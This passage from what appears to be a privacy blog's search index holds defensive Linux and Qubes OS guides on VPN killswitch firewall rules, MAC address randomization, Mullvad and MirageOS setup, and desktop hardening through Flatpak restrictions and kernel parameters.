/etc/sysctl.d/10-disable-ipv6.conf sudo sysctl -p Next, download your OpenVPN configuration files from account.protonvpn.com. In those configuration files, you should see a list of IP addresses and ports of ProtonVPN\u0026rsquo;s servers.\nFinally, set up the VPN killswitch. The rules I posted here are based on this discussion.\nFirewalld sudo firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -o tun+ -j ACCEPT sudo firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i tun+ -j ACCEPT sudo firewall-cmd --direct --permanent --add-rule ipv6 filter INPUT 0 -j DROP sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 0 -i lo -j ACCEPT sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 1 -i tun+ -p tcp -j ACCEPT sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 1 -i tun+ -p udp -j ACCEPT sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 999 -j DROP sudo firewall-cmd --direct --permanent --add-rule ipv6 filter OUTPUT 0 -j DROP sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 0 -o lo -j ACCEPT sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 0 -o tun+ -j ACCEPT #You will need to add each of the IP address and port with the following command: sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 1 -p udp -m udp --dport $PORT -d $IP -j ACCEPT sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 999 -j DROP sudo firewall-cmd --reload UFW sudo ufw default deny incoming sudo ufw default deny outgoing #You will need to add each of the IP address and port with the following command: sudo ufw allow out to $IP port $PORT proto udp sudo ufw allow out on tun0 from any to any ","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/protonvpn-ip-leakage-on-linux-and-workaround/","summary":"Before We Start\u0026hellip;\nI sent Proton an email regarding this issue in late August 2022 and was told they are working on fixing it, though it will take some time as it requires some architectural changes in how the killswitch works.\nThe Leak Ideally, when implementing a killswitch, a VPN client should drop all connections on non-VPN interfaces except when the connection is to the VPN provider\u0026rsquo;s servers. This is necessary to prevent accidental leaks, at least by unprivileged applications.","title":"ProtonVPN IP Leakage on Linux and Workaround"},{"content":"MAC address randomization Note that Ethernet connections can still be tracked via switch ports, and WiFi connections can be broadly localized by access point.\nFurthermore, MAC address spoofing and randomization depends on firmware support from the interface. Most modern network interface cards support the feature.\nThere are three different aspects of MAC address randomization in NetworkManager, each with their own configuration flag:\nWiFi scanning [device] wifi.scan-rand-mac-address=yes WiFi connections [connection] wifi.cloned-mac-address=\u0026lt;mode\u0026gt; Ethernet connections [connection] ethernet.cloned-mac-address=\u0026lt;mode\u0026gt; Mode options random: Generate a new random MAC address every time a connection is activated\nstable: Assign each connection a random MAC address that will be maintained across activations\npreserve: Use the MAC address already assigned to the interface (such as from macchanger), or the permanent address if none is assigned\npermanent: Use the MAC address permanently baked into the hardware\nSetting a default configuration It\u0026rsquo;s best to create a dedicated configuration file, such as /etc/NetworkManager/conf.d/99-random-mac.conf, to ensure package updates do not overwrite the configuration. In general, I recommend the following:\n[device] wifi.scan-rand-mac-address=yes [connection] wifi.cloned-mac-address=random ethernet.cloned-mac-address=random This configuration randomizes all MAC addresses by default. These settings can of course be overridden on a per-connection basis.\nAfter editing the file, run sudo nmcli general reload conf to apply the new configuration.\nPer-connection overrides Connection-specific settings take precedence over configuration file defaults. They can be set through nm-connection-editor (\u0026ldquo;Network Connections\u0026rdquo;), a DE-specific network settings GUI, nmtui, or nmcli.\nLook for \u0026ldquo;Cloned MAC address\u0026rdquo; under the \u0026ldquo;Wi-Fi\u0026rdquo; or \u0026ldquo;Ethernet\u0026rdquo; section:\nIn addition to the four mode keywords, you can input an exact MAC address to be used for that connection.\nFor a home or another trusted network, it can be helpful to use stable or even permanent, as MAC address stability can help avoid being repeatedly served a new IP address and DHCP lease (though not all DHCP servers work this way).\nFor public networks with captive portals (webpages that must be accessed to gain network access), the stable setting can help prevent redirection back to the captive portal after a brief disconnection or roaming to a different access point.\nSeeing the randomized MAC address Activate the connection in question, and then look for GENERAL.HWADDR in the output of nmcli device show. This represents the MAC address currently in use by the interface, whether randomized or not. It is also visible as \u0026ldquo;Hardware Address\u0026rdquo; (or similar) in NetworkManager GUIs under active connection details.\n$ nmcli device show GENERAL.DEVICE: enp5s0 GENERAL.TYPE: ethernet GENERAL.HWADDR: XX:XX:XX:XX:XX:XX GENERAL.DEVICE: wlp3s0 GENERAL.TYPE: wifi GENERAL.HWADDR: XX:XX:XX:XX:XX:XX Remove static hostname to prevent hostname broadcast sudo hostnamectl hostname \u0026#34;localhost\u0026#34; An empty (blank) hostname is also an option, but a static hostname of \u0026ldquo;localhost\u0026rdquo; is less likely to cause breakage. Both will result in no hostname being broadcasted to the DHCP server.\nDisable sending hostname to DHCP server This configuration will leak your hostname on first connection. Setting a generic or random hostname is strongly recommended if possible.\nDue to limitations in NetworkManager, it is not possible to reliably disable sending hostnames by default. This setup is very much a hack.\nDue to being leaky, this configuration is virtually useless without also randomizing MAC addresses by default. Your MAC address and hostname will not be correlated starting with the second connection, assuming the first connection used a random MAC address.\nCreate /etc/NetworkManager/dispatcher.d/no-wait.d/01-no-send-hostname.sh as follows:\n#!/bin/sh if [ \u0026#34;$(nmcli -g 802-11-wireless.cloned-mac-address c show \u0026#34;$CONNECTION_UUID\u0026#34;)\u0026#34; = \u0026#39;permanent\u0026#39; ] \\ || [ \u0026#34;$(nmcli -g 802-3-ethernet.cloned-mac-address c show \u0026#34;$CONNECTION_UUID\u0026#34;)\u0026#34; = \u0026#39;permanent\u0026#39; ] then nmcli connection modify \u0026#34;$CONNECTION_UUID\u0026#34; \\ ipv4.dhcp-send-hostname true \\ ipv6.dhcp-send-hostname true else nmcli connection modify \u0026#34;$CONNECTION_UUID\u0026#34; \\ ipv4.dhcp-send-hostname false \\ ipv6.dhcp-send-hostname false fi The script must have specific file permissions and a symlink to take effect:\ncd /etc/NetworkManager/dispatcher.d/ sudo chown root:root no-wait.d/01-no-send-hostname.sh sudo chmod 744 no-wait.d/01-no-send-hostname.sh sudo ln -s no-wait.d/01-no-send-hostname.sh ./ This script will be automatically triggered on connection events to modify the connection\u0026rsquo;s dhcp-send-hostname settings. If the connection\u0026rsquo;s cloned MAC address is explicitly overridden to permanent, the hostname will be sent to the DHCP server on future connections. In all other cases, the hostname will be masked on future connections, so the DHCP server will only see the MAC address.\nVerifying proper operation After initiating first connection with a network:\n$ nmcli c show \u0026lt;connection\u0026gt; | grep dhcp-send-hostname ipv4.dhcp-send-hostname: no ipv6.dhcp-send-hostname: no \u0026lt;connection\u0026gt; can be the connection name (usually the SSID for WiFi networks) or UUID, obtained from nmcli c show [--active].\nRecall that these setting values are set based on the previous connection activation and take effect for the next connection activation.\nSources ArchWiki \u0026mdash; NetworkManager hostnamectl man page MAC Address Spoofing in NetworkManager 1.4.0 NetworkManager.conf man page NetworkManager-dispatcher man page NetworkManager: Disable Sending Hostname to DHCP Server nmcli man page ","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/networkmanager-trackability-reduction/","summary":"MAC address randomization Note that Ethernet connections can still be tracked via switch ports, and WiFi connections can be broadly localized by access point.\nFurthermore, MAC address spoofing and randomization depends on firmware support from the interface. Most modern network interface cards support the feature.\nThere are three different aspects of MAC address randomization in NetworkManager, each with their own configuration flag:\nWiFi scanning [device] wifi.scan-rand-mac-address=yes WiFi connections [connection] wifi.cloned-mac-address=\u0026lt;mode\u0026gt; Ethernet connections [connection] ethernet.","title":"NetworkManager Trackability Reduction"},{"content":" Mullvad is a fairly popular and generally trustworthy VPN provider. In this post, I will walk you through how to use the official Mullvad client in a ProxyVM on Qubes OS. This method is a lot more convenient than the official guide from Mullvad (which recommends that you manually load in OpenVPN or Wireguard profiles) and will let you seamlessly switch between different location and network setups just as you would on a normal Linux installation.\nPreparing your TemplateVM I recommend that you make a new TemplateVM based on the latest Fedora GNOME template and remove all unnecessary packages that you might not use. This way, you can minimize the attack surface while not having to deal with missing dependencies like on a minimal template. With that being said, if you do manage to get the minimal template to fully work with Mullvad, feel free to open a discussion on GitHub or contact me directly and I will update the post accordingly.\nI run this script on my template to trim it down.\nNext, you need to create the bind directories for Mullvad\u0026rsquo;s configurations:\nsudo mkdir -p /etc/qubes-bind-dirs.d echo \u0026#39;binds+=( \u0026#39;\\\u0026#39;\u0026#39;\u0026#39;/etc/mullvad-vpn\u0026#39;\u0026#39;\\\u0026#39;\u0026#39; )\u0026#39; | sudo tee /etc/qubes-bind-dirs.d/50_user.conf Installing the Mullvad App Inside of the TemplateVM you have just created, do the following:\nsudo dnf config-manager addrepo --from-repofile=https://repository.mullvad.net/rpm/stable/mullvad.repo sudo dnf install -y mullvad-vpn To work around issue 3803, we will be using systemd path to run /usr/lib/qubes/qubes-setup-dnat-to-ns every time Mullvad modifies /etc/resolv.conf. Create the following files:\n/etc/systemd/system/dnat-to-ns.service [Unit] Description=Run /usr/lib/qubes/qubes-setup-dnat-to-ns StartLimitIntervalSec=0 [Service] Type=oneshot ExecStart=/usr/bin/systemctl restart systemd-resolved ExecStart=/usr/lib/qubes/qubes-setup-dnat-to-ns /etc/systemd/system/dnat-to-ns.path [Unit] Description=Run /usr/lib/qubes/qubes-setup-dnat-to-ns when /etc/resolv.conf changes [Path] PathChanged=/etc/resolv.conf Unit=dnat-to-ns.service [Install] WantedBy=multi-user.target Create /etc/systemd/system/systemd-resolved.conf.d/override.conf to disable rate limiting on systemd-resolved restarting:\n[Unit] StartLimitIntervalSec=0 Next, enable the systemd path:\nsudo systemctl enable dnat-to-ns.path Finally, shut down the TemplateVM:\nsudo shutdown now Creating the ProxyVM Create an AppVM based on the TemplateVM you have just created. Set sys-firewall (or whatever FirewallVM you have connected to your sys-net) as the net qube. If you do not have such FirewallVM, use sys-net as the net qube. Next, go to the advanced tab and tick the provides network access to other qubes box.\nOpen the Mullvad VPN app. Go to Settings → VPN settings and toggle Local network sharing. Due to some strange interaction between qubes services and Mullvad VPN, certain apps will get internet connections while others do not if this toggle is not enabled. This toggle will not actually allow AppVMs connected to the ProxyVM to connect to the local network.\nEnable Lockdown mode to ensure that the killswitch stays on even when the tunnel is disconnected.\nAdditional Assurances For additional assurances against VPN leaks, you can optionally add these 2 lines to /rw/config/qubes-firewall-user-script:\nnft add rule qubes custom-forward oifname eth0 counter drop nft add rule ip6 qubes custom-forward oifname eth0 counter drop This is not strictly necessary, as I have not observed any leaks with the VPN killswitch provided by the app.\nNotes With this current setup, the ProxyVM you have just created will be responsible for handling Firewall rules for the qubes behind it. This is not ideal, as this is still a fairly large VM, and there is a risk that Mullvad or some other apps may interfere with its firewall handling.\nInstead, I highly recommend that you create a minimal Mirage FirewallVM and use it as a firewall behind the Mullvad ProxyVM. Other AppVMs then should use the Mirage Firewall as the net qube instead. This way, you can make sure that firewall rules are properly enforced.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/qubes/using-mullvad-vpn-on-qubes-os/","summary":"Mullvad is a fairly popular and generally trustworthy VPN provider. In this post, I will walk you through how to use the official Mullvad client in a ProxyVM on Qubes OS. This method is a lot more convenient than the official guide from Mullvad (which recommends that you manually load in OpenVPN or Wireguard profiles) and will let you seamlessly switch between different location and network setups just as you would on a normal Linux installation.","title":"Using Mullvad VPN on Qubes OS"},{"content":" MirageOS is a library operating system with which you can create a unikernel for the sole purpose of acting as Qubes OS\u0026rsquo;s firewall. In this post, I will walk you through how to set this up.\nAdvantages Small attack surface. The unikernel only contains a minimal set of libraries to function, so it has a much smaller attack surface than a general purpose operating system like a Linux distribution or openBSD. Low resource consumption. You only need about 64MB of RAM for each instance of the Mirage Firewall. Fast startup time. Disadvantages No official package for Qubes OS. This means that you need to follow the development process on GitHub and download the new build whenever there is a release. Does not work well with the Windows PV network driver. With that being said, the Windows PV networking driver is pretty buggy on its own, and I don\u0026rsquo;t recommend that you use it anyways. Installing the unikernel To deploy MirageOS, you need to copy the vmlinuz and initramfs files from their releases page to /var/lib/qubes/vm-kernels/mirage-firewall in dom0.\nTemplateVM Create a TemplateVM:\nqvm-create \\ --property kernel=mirage-firewall \\ --property kernelopts=\u0026#39;\u0026#39; \\ --property memory=64 \\ --property maxmem=64 \\ --property vcpus=1 \\ --property virt_mode=pvh \\ --label=black \\ --class TemplateVM \\ your_template_name Don\u0026rsquo;t worry if the TemplateVM doesn\u0026rsquo;t launch \u0026mdash; we don\u0026rsquo;t need it to.\nDisposable Template Next, create a disposable template based on the TemplateVM you have just created.\nqvm-create \\ --property template=your_template_name \\ --property provides_network=True \\ --property template_for_dispvms=True \\ --label=orange \\ --class AppVM \\ your_disposable_template_name qvm-features your_disposable_template_name qubes-firewall 1 qvm-features your_disposable_template_name no-default-kernelopts 1 Your disposable templates should now launch and shut down properly.\nDisposable FirewallVMs You can now create disposable FirewallVMs based on your disposable template. I recommend replacing sys-firewall with a disposable Mirage firewall. If you use ProxyVMs like sys-whonix, I recommend that you add a disposable Mirage Firewall after the ProxyVM as well, and use it as the net qube for your AppVMs.\nqvm-create \\ --property template=your_disposable_template_name \\ --property provides_network=True \\ --property netvm=your_net_qube_name \\ --label=orange \\ --class DispVM \\ your_firwall_name ","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/qubes/firewalling-with-mirageos-on-qubes-os/","summary":"MirageOS is a library operating system with which you can create a unikernel for the sole purpose of acting as Qubes OS\u0026rsquo;s firewall. In this post, I will walk you through how to set this up.\nAdvantages Small attack surface. The unikernel only contains a minimal set of libraries to function, so it has a much smaller attack surface than a general purpose operating system like a Linux distribution or openBSD.","title":"Firewalling with MirageOS on Qubes OS"},{"content":"Linux is not a secure desktop operating system. However, there are steps you can take to harden it, reduce its attack surface, and improve its privacy.\nBefore we start\u0026hellip;\nSome of the sections will include mentions of unofficial builds of packages like linux‑hardened, akmod, hardened_malloc, and so on. These are not endorsements \u0026mdash; they are merely to show that you have options to easily obtain and update these packages. Using unofficial builds of packages means adding more parties to trust, and you have to evaluate whether it is worth doing so for the potential privacy/security benefits or not.\nDuring Installation Drive Encryption Most Linux distributions have an option within its installer for enabling LUKS full disk encryption. If this option isn\u0026rsquo;t set at installation time, you will have to backup your data and re-install, as encryption is applied after disk partitioning but before filesystem creation.\nBy default, cryptsetup does not set up authenticated encryption. If you are configuring partitioning using the command line, you can enable integrity with the --integrity argument.\nEncrypted Swap Consider using encrypted swap or ZRAM instead of unencrypted swap to avoid potential security issues with sensitive data being pushed to swap space. While ZRAM can be set up post-installation, if you want to use encrypted swap, you should set it up while partitioning your drive.\nDepending on your distribution, encrypted swap may be automatically set up if you choose to encrypt your drive. Fedora uses ZRAM by default, regardless of whether you enable drive encryption or not.\nPrivacy Tweaks NetworkManager Trackability Reduction Most desktop Linux distributions including Fedora, openSUSE, Ubuntu, and so on come with NetworkManager by default to configure Ethernet and Wi-Fi settings.\nwj25czxj47bu6q has detailed guide on trackability reduction with NetworkManager which I highly recommend you check out.\nIn short, if you use NetworkManager, add the following to your /etc/NetworkManager/conf.d/00-macrandomize.conf:\n[device] wifi.scan-rand-mac-address=yes [connection] wifi.cloned-mac-address=random ethernet.cloned-mac-address=random Then, restart your NetworkManager service:\nsudo systemctl restart NetworkManager Finally, set your hostname to localhost:\nsudo hostnamectl hostname \u0026#34;localhost\u0026#34; Note that randomizing Wi-Fi MAC addresses depends on support from the Wi-Fi card firmware.\nOther Identifiers There are other system identifiers which you may wish to be careful about. You should give this some thought to see if it applies to your threat model:\nUsername Your username is used in a variety of ways across your system. Consider using generic terms like \u0026ldquo;user\u0026rdquo; rather than your actual name. Machine ID During installation a unique machine ID is generated and stored on your device. Consider setting it to a generic ID. System Counting Many Linux distributions send some telemetry by default to count how many systems are using their software. Consider disabling this depending on your threat model.\nThe Fedora Project offers a \u0026ldquo;countme\u0026rdquo; variable to much more accurately count unique systems accessing its mirrors without involving unique IDs. While currently disabled by default, you could add countme=false to /etc/dnf/dnf.conf in case the default changes in the future. On rpm‑ostree systems such as Fedora Silverblue and Kinoite, the countme option can be disabled by masking the rpm-ostree-countme timer.\nopenSUSE uses a unique ID to count systems, which can be disabled by emptying the /var/lib/zypp/AnonymousUniqueId file.\nZorin OS also uses a unique ID to count systems. You can opt‑out by running sudo apt purge zorin-os-census and optionally holding the package with sudo apt-mark hold zorin-os-census to avoid accidental reinstallation.\nsnapd (Snap) assigns a unique ID to your installation and uses it for telemetry. While this is generally not a problem, if your threat model calls for anonymity, you should avoid using Snap packages and uninstall snapd. Accidental reinstallation on Ubuntu can be prevented with sudo apt-mark hold snapd.\nOf course, this is a non‑exhaustive list of telemetry on different Linux distributions. If you are aware of other tracking mechanisms used by these or other distributions, feel free to make a pull request or discussion post detailing them!\nKeystroke Anonymization You could be fingerprinted based on soft biometric traits when you use the keyboard. The Kloak package could help you mitigate this threat. It is available as a .deb package from Kicksecure\u0026rsquo;s repository and an AUR package.\nWith that being said, if your threat model calls for using something like Kloak, you are probably better off just using Whonix.\nApplication Confinement Some sandboxing solutions for desktop Linux distributions do exist; however, they are not as strict as those found in macOS or ChromeOS. Software installed with distro package managers (DNF, APT, etc.) typically have no sandboxing or confinement whatsoever. Several projects which aim to tackle this problem are discussed here.\nFlatpak Flatpak aims to be a distribution-agnostic package manager for Linux. One of its main goals is to provide a universal package format which can be used in most Linux distributions. It provides some permission control. With that being said, Flatpak sandboxing is quite weak.\nYou can restrict applications further by setting Flatpak overrides. This can be done with the command line or by using Flatseal. To deny common dangerous Flatpak permissions globally, run the following commands:\nsudo flatpak override --system --nosocket=x11 --nosocket=fallback-x11 --nosocket=pulseaudio --nosocket=session-bus --nosocket=system-bus --unshare=network --unshare=ipc --nofilesystem=host:reset --nodevice=input --nodevice=shm --nodevice=all --no-talk-name=org.freedesktop.Flatpak --no-talk-name=org.freedesktop.systemd1 --no-talk-name=ca.desrt.dconf --no-talk-name=org.gnome.Shell.Extensions flatpak override --user --nosocket=x11 --nosocket=fallback-x11 --nosocket=pulseaudio --nosocket=session-bus --nosocket=system-bus --unshare=network --unshare=ipc --nofilesystem=host:reset --nodevice=input --nodevice=shm --nodevice=all --no-talk-name=org.freedesktop.Flatpak --no-talk-name=org.freedesktop.systemd1 --no-talk-name=ca.desrt.dconf --no-talk-name=org.gnome.Shell.Extensions To allow Flatseal to function after applying the overrides above, run the following command:\nflatpak --user override com.github.tchx84.Flatseal --filesystem=/var/lib/flatpak/app:ro --filesystem=xdg-data/flatpak/app:ro --filesystem=xdg-data/flatpak/overrides:create Note that this only helps with lax, high‑level default permissions and cannot solve the low‑level issues like /proc and /sys access or an insufficient seccomp blacklist.\nSome sensitive permissions of note:\n--share=network: network and internet access --socket=pulseaudio: the PulseAudio socket, grants access to all audio devices (including inputs) --socket=session-bus: access to the entire session bus, which can be used to break out of the sandbox by abusing dangerous D‑Buses. --socket=system-bus: access to the entire system bus, which can be used to break out of the sandbox by abusing dangerous D‑Buses. --device=all: access to all devices (including webcams) --talk-name=org.freedesktop.secrets: D‑Bus access to secrets stored on your keychain --talk-name=org.freedesktop.Flatpak: D‑Bus access to run flatpak run. This D‑Bus is a sandbox escape. talk-name=org.freedesktop.systemd1: D‑Bus access to systemd. This D‑Bus can be used to load in systemd services with arbitary code and run them. --talk-name=ca.desrt.dconf: D‑Bus access to dconf. This D‑Bus can be abused to run arbitary commands by changing key bindings. --talk-name=org.gnome.Shell.Extensions: D‑Bus access to install and manage GNOME shell extensions. This D‑Bus can be abused to add malicious extensions to GNOME. If an application works natively with Wayland (not running through the XWayland compatibility layer), consider revoking its access to X11 (--nosocket=x11) and the inter‑process communications (IPC) socket (--unshare=ipc) as well. Many Flatpak apps ship with broad filesystem permissions such as --filesystem=home and --filesystem=host. Some applications implement the Portal API, which allows a file manager to pass files to the Flatpak application (e.g. VLC) without specific filesystem access privileges. Despite this, many of them still declare --filesystem=host.\nMy strategy to deal with this is to revoke all filesystem access first, then test if an application works without it. If it does, it means the app is already using portals and no further action is needed. If it doesn\u0026rsquo;t, then I start granting permission to specific directories.\nAs odd as this may sound, you should not enable (blind) unattended updates of Flatpak packages. If you or a Flatpak frontend (app store) simply executes flatpak update -y, Flatpaks will be automatically granted any new permissions declared upstream without notifying you. Enabling automatic updates with GNOME Software is fine, as it does not automatically update Flatpaks with permission changes and notifies the user instead.\nSnap Snap is another distribution-agnostic package manager with some sandboxing support. It is developed by Canonical and heavily promoted in Ubuntu.\nSnap packages come in two variants: classic, with no confinement, and strictly confined, where AppArmor and cgroups v1 are used to facilitate sandboxing. If a snap uses classic confinement (\u0026ldquo;classic snap\u0026rdquo;), you are better off installing an equivalent package from your distribution\u0026rsquo;s repository if possible. If your system does not have AppArmor, then you should avoid Snap entirely. Additionally, most modern systems outside of Ubuntu and its derivatives use cgroups v2 by default, so you have to set systemd.unified_cgroup_hierarchy=0 in your kernel parameters to get cgroups v1 working.\nSnap permissions can be managed via the Snap Store or Ubuntu\u0026rsquo;s custom patched GNOME Control Center.\nOn Ubuntu, you can replace various .deb packages with strictly confined snaps to minimize the attack surface. Some examples of these packages are the printing stack or ufw:\nOne caveat with Snap packages is that you only have control over the interfaces declared in their manifests. For example, Snap has separate interfaces for audio-playback and audio-record, but some packages will only declare the legacy pulseaudio interface which grants access to both play and record audio. Likewise, some applications may work perfectly fine with Wayland, but the package maintainer may only declare the X11 interface in their manifest. For these cases, you need to reach out to the maintainer of the snap to update the manifest accordingly.\nFirejail Firejail is another method of sandboxing. As it is a large setuid binary, it has a large attack surface which increase susceptibility to privilege escalation vulnerabilities. Madaidan offers additional details on how Firejail can worsen the security of your device.\nIf you do use Firejail, Firetools can help to quickly manage application permissions and launch sandboxed applications. Note that Firetools configurations are temporary with no option to save profiles for long‑term use.\nFirejail can also confine X11 windows using Xpra or Xephr, something that Flatpak and Snap cannot do. I highly recommend checking out their documentation on X11 sandboxing.\nOne trick to launch applications with their Firejail profile is to use the sudo firecfg command. This will create a symlink /usr/local/bin/app_name_here pointing to Firejail, which will get used automatically by most .desktop files (which do not specify the absolute paths of their binaries) to use will launch the application through the symlink and have Firejail sandbox them this way. Of course, this is bypassable if you or some other applications launch the application directly from /usr/bin/app_name_here instead.\nMandatory Access Control Common Linux mandatory access control (MAC) frameworks require policy files in order to force constraints on the system. The two most notable are SELinux (used on Android and Fedora‑based distributions) and AppArmor (used on Debian‑based distributions and most openSUSE variants).\nFedora includes SELinux preconfigured with some policies to confine system daemons (background processes). You should keep it in enforcing mode.\nopenSUSE gives the choice of SELinux or AppArmor during the installation process. You should stick to the default for each variant (AppArmor for Tumbleweed and SELinux for MicroOS). openSUSE’s SELinux policies are derived from Fedora.\nArch and its derivatives often do not come with a mandatory access control system, and you must manually install and configure AppArmor.\nNote that, unlike Android, traditional desktop Linux distributions typically do not have full system Mandatory Access Control policies; only a few system daemons are actually confined.\nMaking Your Own Policies/Profiles You can make your own AppArmor profiles, SELinux policies, bubblewrap profiles, and seccomp blacklists to have better confinement of applications. This is an advanced and sometimes tedious task, but there are various projects you could use as reference:\nKrathalan’s AppArmor profiles roddhjav\u0026rsquo;s AppArmor profiles noatsecure’s SELinux templates Seirdy’s bubblewrap scripts Securing Linux Containers If you’re running a server, you may have heard of containers. They are more common in server environments where individual services are built to operate independently. However, you may sometimes see them on desktop systems as well, especially for development purposes.\nDocker is one of the most popular container solutions. It does not offer a proper sandbox, meaning there is a large kernel attack surface. You should follow the Docker and OCI Hardening guide to mitigate this problem. In short, there are things you can do like using rootless containers (via configuration changes or Podman), using a runtime which provides a pseudo‑kernel for each container (gVisor), and so on.\nAnother option is Kata Containers which masquerades virtual machines as containers. Each Kata container has its own kernel and is isolated from the host.\nSecurity Hardening Ubuntu Pro If you are using Ubuntu LTS, consider subscribing to Ubuntu Pro. Canonical currently allows up to 5 machines with the free subscription.\nYou will also gain access to the Canonical Livepatch Service, which provides livepatching for certain kernel variants. Note that the Hardware Enablement (HWE) kernel is not supported.\nWhile livepatching is less than ideal and I still recommend regularly rebooting your computer, it is quite nice to have.\nUmask 077 On distributions besides openSUSE, consider changing the default umask for both root and regular users to 077 (symbolically, u=rwx,g=,o=). On openSUSE, a umask of 077 can break snapper and is thus not recommended.\nOn Ubuntu, the \u0026ldquo;Software \u0026amp; Update\u0026rdquo; application will not work properly if the repository lists in /etc/apt/sources.list.d have the 600 permission. You should make sure that they have the 644 permission instead.\nThe configuration for this varies per distribution, but typically it can be set in /etc/profile, /etc/bashrc, or /etc/login.defs.\nNote that, unlike on macOS, this will only change the umask for the shell. Files created by running applications will not have their permissions set to 600.\nMicrocode Updates You should make sure your system receives microcode updates to get fixes and mitigations for CPU vulnerabilities like Meltdown and Spectre.\nDebian does not ship microcode updates by default, so be sure to enable the non-free repository and install the microcode package.\nOn Arch Linux, make sure you have the intel-ucode or amd-ucode package installed.\nIf you are looking to use the GNU Guix distribution, you should absolutely use the Nonguix channel or similar to get microcode updates.\nAvoid the Linux-libre kernel at all costs, as they actively block loading binary‑only microcode.\nFirmware Updates Many hardware vendors offer firmware updates to Linux systems through the Linux Vendor Firmware Service. You can download and install updates using the following commands:\n# Update metadata fwupdmgr refresh # Download and install firmware updates fwupdmgr update Some distributions like Debian do not have fwupd installed by default, so you should check for its existence on your system and install it if needed.\nSeveral graphical frontends integrate with fwupd to offer firmware updates (GNOME Software, KDE Discover, Snap Store, GNOME Firmware, Pop!_OS Settings app). However, not all distributions offer this integration by default, so you should check your specific system and set up scheduled update notifications using systemd timers or cron if needed.\nFirewall A firewall may be used to secure connections to your system.\nRed Hat distributions (such as Fedora) and openSUSE typically use firewalld. Red Hat maintains extensive documentation about firewalld and its graphical frontend firewall-config.\nDistributions based on Debian or Ubuntu typically use the Uncomplicated Firewall (ufw). As the name suggests, it is much less sophisticated than firewalld. One notable missing feature is the ability to apply different firewall rules for different connections (see zones in firewalld).\nYou could also set your default firewall zone to drop packets. To implement this with firewalld (with the necessary exceptions for IPv6):\nfirewall-cmd --set-default-zone=drop firewall-cmd --add-protocol=ipv6-icmp --permanent firewall-cmd --add-service=dhcpv6-client --permanent firewall-cmd --reload On some distributions, it may be possible for applications running as a wheel or sudo user to make firewall changes through polkit. To prevent this, enable firewalld lockdown mode with sudo firewall-cmd --lockdown-on.\nThese firewalls use the netfilter framework and therefore cannot (without the help of strict mandatory access control) protect against malicious software running privileged on the system, which can insert their own routing rules that sidestep firewalld/ufw.\nThere are some per‑binary outbound firewalls such as OpenSnitch and Portmaster that you could use as well. But, just like firewalld and ufw, they are bypassable.\nIf you are using Flatpak packages, you can set an override to block network access. This is not bypassable.\nIf you are using non‑classic Snap packages on a system that supports proper confinement (both AppArmor and cgroups v1 present), you can use the Snap Store to revoke network permission. This is also not bypassable.\nKernel Hardening There are several things you can do to harden the Linux kernel, including setting appropriate kernel parameters and blacklisting unnecessary kernel modules. If you are using Kicksecure or Whonix, most of this hardening is included by default. If you are using Debian, you should consider morphing it into Kicksecure.\nThis section extensively references Madaidan\u0026rsquo;s Linux Hardening Guide and in the interest of brevity does not repeat all the information contained there. You are strongly encouraged to read through the relevant sections of Madaidan\u0026rsquo;s guide (linked for convenience).\nRuntime Kernel Parameters (sysctl) See \u0026ldquo;2.2 Sysctl\u0026rdquo; in Madaidan\u0026rsquo;s guide.\nMadaidan recommends that you disable unprivileged user namespaces due to the significant attack surface for privilege escalation. However, some software such as Podman and LXC relies on unprivileged user namespaces. If you wish to use such software, do not disable kernel.unprivileged_userns_clone. Note that this setting does not exist in the upstream kernel and is added downstream by some distributions.\nOn distributions other than Whonix and Kicksecure, you can copy the configuration file from Tommy\u0026rsquo;s repository.\nBoot Parameters See \u0026ldquo;2.3 Boot parameters\u0026rdquo; in Madaidan\u0026rsquo;s guide. If desired, formal documentation of boot parameters is available upstream.\nCopy these parameters into your bootloader\u0026rsquo;s configuration. On rpm‑ostree distributions, make sure to use rpm-ostree kargs rather than editing GRUB configuration directly.\nCPU mitigations mitigations=auto,nosmt spectre_v2=on spectre_bhi=on spec_store_bypass_disable=on tsx=off kvm.nx_huge_pages=force nosmt=force l1d_flush=on spec_rstack_overflow=safe-ret gather_data_sampling=force reg_file_data_sampling=on Simultaneous multithreading (SMT) has been the cause of numerous hardware‑level vulnerabilities and is thus disabled here. If the option is available, you should disable SMT/\u0026ldquo;Hyper‑Threading\u0026rdquo; in your firmware as well.\nNote however that disabling SMT may have a significant performance impact \u0026mdash; for this reason the popular linux‑hardened kernel for Arch does not disable SMT by default. Assess your own risk tolerance, and, if you choose to keep SMT enabled, simply remove all occurrences of nosmt and nosmt=force from these parameters.\nKernel slab_nomerge init_on_alloc=1 init_on_free=1 pti=on vsyscall=none ia32_emulation=0 page_alloc.shuffle=1 randomize_kstack_offset=on debugfs=off oops=panic quiet loglevel=0 Kicksecure does not enforce either module.sig_enforce=1 or lockdown=confidentiality by default as they lead to a lot of hardware compatibility issues; consider enabling these if possible on your system. Additionally, mce=0 is no longer recommended.\nEntropy generation random.trust_cpu=off random.trust_bootloader=off Some implementations of the RDRAND instruction (by which the CPU offers a random number generator to the OS) have proven to be vulnerable or outright defective. RDRAND is also impossible to audit, being part of the CPU itself.\nAs a precaution for the integrity of cryptographic operations, the CPU and bootloader should not be used as credited entropy sources. Note that this change will increase boot time.\nFurther reading:\nsystemd: Random Seeds Madaidan: RDRAND Linux kernel mailing list Hacker News discussion NixOS discussion (also cites many additional sources) DMA mitigations intel_iommu=on amd_iommu=force_isolation efi=disable_early_pci_dma iommu=force iommu.passthrough=0 iommu.strict=1 Direct memory access (DMA) attacks can be mitigated via IOMMU and disabling certain kernel modules. Furthermore, strict enforcement of IOMMU TLB invalidation should be applied so devices will never be able to access stale data contents.\nThese parameters do not provide comprehensive DMA protection. In early boot (before the kernel has loaded), only the system firmware can enforce IOMMU and 